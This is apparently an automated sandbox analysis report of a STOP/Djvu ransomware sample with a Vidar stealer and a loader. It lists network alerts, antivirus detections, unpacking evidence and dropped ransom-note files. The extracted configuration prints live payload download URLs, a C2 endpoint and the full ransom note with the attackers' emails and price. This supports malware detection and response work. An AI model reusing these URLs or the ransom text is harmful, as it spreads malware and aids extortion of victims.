ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 85.11.159.22

Timestamp:	04/24/24-07:37:16.429429
SID:	2833438
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 85.11.159.22

Timestamp:	04/24/24-07:37:10.597638
SID:	2833438
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 123.140.161.243

Timestamp:	04/24/24-07:37:03.288894
SID:	2036333
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 8jvTeVxooN.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://sdfjhuz.com/dl/build2.exe$run	Avira URL Cloud: Label: malware
Source: http://sdfjhuz.com/dl/build2.exerun	Avira URL Cloud: Label: malware
Source: http://cajgtus.com/files/1/build3.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Avira: detection malicious, Label: HEUR/AGEN.1313019
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1313019
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Avira: detection malicious, Label: HEUR/AGEN.1313019

Found malware configuration

Source: 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E
Source: 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Multi AV Scanner detection for domain / URL

Source: sdfjhuz.com	Virustotal: Detection: 23%	Perma Link
Source: http://cajgtus.com/files/1/build3.exe$runo	Virustotal: Detection: 7%	Perma Link
Source: http://sdfjhuz.com/dl/build2.exerun	Virustotal: Detection: 6%	Perma Link
Source: http://cajgtus.com/files/1/build3.exe	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: 8jvTeVxooN.exe

Virustotal: Detection: 46%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 8jvTeVxooN.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00411178 CryptDestroyHash,CryptReleaseContext,	1_2_00411178
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040E870
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	1_2_0040EA51
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040EAA0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	1_2_0040EC68
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	1_2_00410FC0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040E870
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040EAA0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00410FC0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00411178 CryptDestroyHash,CryptReleaseContext,	4_2_00411178
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	4_2_0040EA51
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	4_2_0040EC68

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg	4_2_00419E70
Source: 8jvTeVxooN.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Unpacked PE file: 1.2.8jvTeVxooN.exe.400000.0.unpack
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Unpacked PE file: 4.2.8jvTeVxooN.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Unpacked PE file: 6.2.8jvTeVxooN.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Unpacked PE file: 10.2.8jvTeVxooN.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Unpacked PE file: 13.2.8jvTeVxooN.exe.400000.0.unpack

Source: 8jvTeVxooN.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\_README.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.90.143:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49773 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: 8jvTeVxooN.exe, 00000004.00000003.2306670247.0000000003604000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003718000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243461413.000000000371B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2273926106.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2274502074.000000000396B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2340019883.0000000003B04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\c source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ion D source: 8jvTeVxooN.exe, 00000004.00000003.2222827663.000000000314A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\v4.0\ source: 8jvTeVxooN.exe, 00000004.00000003.2262950307.000000000373E000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.0000000003714000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\v source: 8jvTeVxooN.exe, 00000004.00000003.2340019883.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error\^ source: 8jvTeVxooN.exe, 00000004.00000003.2222509349.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2339577844.0000000003972000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2340019883.0000000003B04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Ea source: 8jvTeVxooN.exe, 00000004.00000003.2261225248.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262889753.0000000003157000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error\ source: 8jvTeVxooN.exe, 00000004.00000003.2222509349.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2330083529.0000000003A84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\* source: 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2343975906.00000000039C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222827663.000000000314A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\he\\r source: 8jvTeVxooN.exe, 00000004.00000003.2269685051.000000000377F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\U source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgjs source: 8jvTeVxooN.exe, 00000004.00000003.2222509349.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4 source: 8jvTeVxooN.exe, 00000004.00000003.2270202437.000000000379B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270594593.000000000379B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2274316912.000000000379B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1721427076.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1717959901.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1719930942.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: 8jvTeVxooN.exe, 00000004.00000003.2280340145.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281044676.000000000371C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\'M( source: 8jvTeVxooN.exe, 00000004.00000003.2343975906.00000000039C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\.txt source: 8jvTeVxooN.exe, 00000004.00000003.2014549664.0000000003178000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043527617.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043488787.0000000003158000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2014494280.000000000315B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\\ source: 8jvTeVxooN.exe, 00000004.00000003.2344293093.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2280424779.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\E source: 8jvTeVxooN.exe, 00000004.00000003.2305864286.00000000039D2000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280424779.00000000039ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\reports\.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2344293093.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
